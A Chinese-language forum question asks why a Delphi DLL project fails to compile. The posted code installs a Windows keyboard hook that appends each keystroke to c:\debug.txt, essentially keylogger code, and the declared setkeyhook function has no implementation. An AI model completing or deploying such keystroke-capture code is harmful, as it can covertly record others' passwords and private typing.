请问这里哪儿错了,我的怎么总是提示有错误.
请问这里哪儿错了,我的怎么总是提示有错误.
library Project1;
[.................................]
uses
SysUtils,
Classes,
Unit1 in 'Unit1.pas';
{$R *.res}
exports
setkeyhook,endkeyhook;
begin
nexthookproc:=0;
procsaveexit:=exitproc;
exitproc:=@keyhookexit;
end.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls;
const
afilename='c:\debug.txt';
var
nexthookproc:hhook;
procsaveexit:pointer;
debugfile:textfile;
function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
function setkeyhook:bool;export;//
function endkeyhook:bool;export;//
procedure keyhookexit;far;
implementation
function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
begin
if icode< 0 then
begin
result:=callnexthookex(nexthookproc,icode,wparam,lparam);
exit;
end;
assignfile(debugfile,afilename);
append(debugfile);
if getkeystate(vk_return)< 0 then
begin
writeln(debugfile,'');
write(debugfile,char(wparam));
end
else
write(debugfile,char(wparam));
closefile(debugfile);
result:=0;
end;
function endkeyhook:bool;export;
begin
if nexthookproc<> 0 then
begin
unhookwindowshookex(nexthookproc);
nexthookproc:=0;
messagebeep(0);
end;
result:=nexthookproc=0;
end;
procedure keyhookexit;far;
begin
if nexthookproc<> 0 then
endkeyhook;
exitproc:=procsaveexit;
end;
end.